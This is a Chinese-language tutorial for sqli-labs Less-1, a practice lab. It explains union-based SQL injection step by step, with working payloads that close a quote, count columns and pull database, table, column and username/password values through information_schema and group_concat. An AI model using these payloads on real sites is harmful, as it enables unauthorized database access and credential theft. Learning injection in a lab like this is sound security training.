sqli-lab教程Less-1

简介: sqli-lab教程Less-1

less-1


sqli-lab通过各种方式(整型注入,字符注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。


学习sqli注入必备语句:

查库:select schema_name from information_schema.schemata


查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)


查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)


查字段的值:select username,password from security.users(此处拿username,password字段为例)


1.加单引号看出,此处是用单引号包裹的,使用单引号注入


2.使用- -+闭合,回显恢复


3.使用order by语句判断列数


4.发现有三列


5.使用union select联合查询,把id改成一个不存在的值使得有回显位

?id=-1' union select 1,2,3 --+



6.进行爆库操作

?id=-1' union select 1,2,database() --+



7.进行爆表操作

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+


group_concat:将所有的数据连接进行拼接后作为一行显示


where:指定库的位置


8.进行爆字段操作

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+



9.进行爆字段值操作

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+


concat_ws(’~’,A,B)


显示为(A~B),用于区分用户名、密码


注入完成! 这是方法之一,后期会出sqlmap工具等教程…
目录
相关文章
|
机器学习/深度学习 自然语言处理 NoSQL
基于大语言模型的应用
大语言模型(BLM)在NLP领域广泛应用,能理解和生成准确答案,适用于文本分类、文本生成、信息检索和问答系统。深度学习技术如TensorFlow、PyTorch助力文本分类,BLM提升信息检索效率,问答系统依赖BLM的语义理解。悦数图数据库利用图技术增强BLM,提高回答准确度,降低企业应用成本,推动智能化发展。
|
存储 API 数据库
使用Python开发获取商品销量详情API接口
本文介绍了使用Python开发获取商品销量详情的API接口方法,涵盖API接口概述、技术选型(Flask与FastAPI)、环境准备、API接口创建及调用淘宝开放平台API等内容。通过示例代码,详细说明了如何构建和调用API,以及开发过程中需要注意的事项,如数据库连接、API权限、错误处理、安全性和性能优化等。
446 5
|
存储 安全 算法
MD5的日常实践应用:确保数据完整性与基础安全校验
**MD5概览:** 作为过时但仍然流行的散列函数,MD5用于生成数据固定长度的散列,常用于文件完整性校验和非安全密码验证。虽因易受碰撞攻击而不适于安全用途,但在低敏感场景下仍有应用。例如,Python代码展示如何计算文件MD5校验和及模拟MD5密码验证。不过,对于高安全需求,推荐使用SHA-256等更安全的算法。【6月更文挑战第17天】
1172 1
|
传感器 人工智能 搜索推荐
移动应用开发的未来趋势:人工智能与物联网的融合
【4月更文挑战第7天】随着科技的不断发展,移动应用开发正面临着新的挑战和机遇。本文将探讨人工智能(AI)和物联网(IoT)在移动应用开发中的融合,以及这一趋势如何影响未来的移动应用。我们将分析AI和IoT技术的关键特性,以及它们如何相互补充,为移动应用带来前所未有的智能化和互联性。此外,我们还将讨论开发者如何利用这些技术为用户提供更智能、更便捷的服务。
|
监控 安全 测试技术
网络堡垒的构筑者:洞悉网络安全与信息安全
【5月更文挑战第28天】 在数字化时代的浪潮中,每一次数据交换都潜藏着风险。本文深入探讨了网络安全的核心议题,从漏洞挖掘到防御策略,再到加密技术的不断进化,以及安全意识在个体和组织层面的重要性。通过分析当前的挑战和未来的发展趋势,我们旨在为读者提供一个关于如何维护网络环境安全的全面视角。
|
分布式计算 NoSQL Redis
Redis进阶 - 如何避免Redis集群脑裂?
Redis进阶 - 如何避免Redis集群脑裂?
654 0
|
分布式计算 安全 API
异步 API 设计之扇入扇出模式
扇出/扇入模式是更高级 API 集成的主要内容。这些应用程序并不总是表现出相同的可用性或性能特征。
异步 API 设计之扇入扇出模式
|
算法 安全 数据安全/隐私保护
3DES数据加密算法
3DES数据加密算法是一种可逆的对称加密算法,也称三重数据加密算法(英语:Triple Data Encryption Algorithm,缩写为TDEA,Triple DEA),或称3DES(Triple DES),它是一种为了替代原先DES而建立的数据加密标准。
560 0
|
关系型数据库 MySQL 数据安全/隐私保护
Brew安装的MySQL8.0忘记密码修改密码
Brew安装的MySQL8.0忘记密码修改密码
160 0
|
JavaScript 前端开发 HTML5
Pexels Videos – 可以免费商业使用的短视频
  Pexels 是一个巨大的平台,提供免费的精美照片,很多设计师和博客每天用它来寻找他们的个人和商业项目的照片。现在我们想介绍 Pexels 视频,他是用来帮助你找到免费的视频。所有的 Pexels 视频根据 CC0 许可证授权,包括商业使用在内的任何目的都可以免费使用。
1873 0
Pexels Videos – 可以免费商业使用的短视频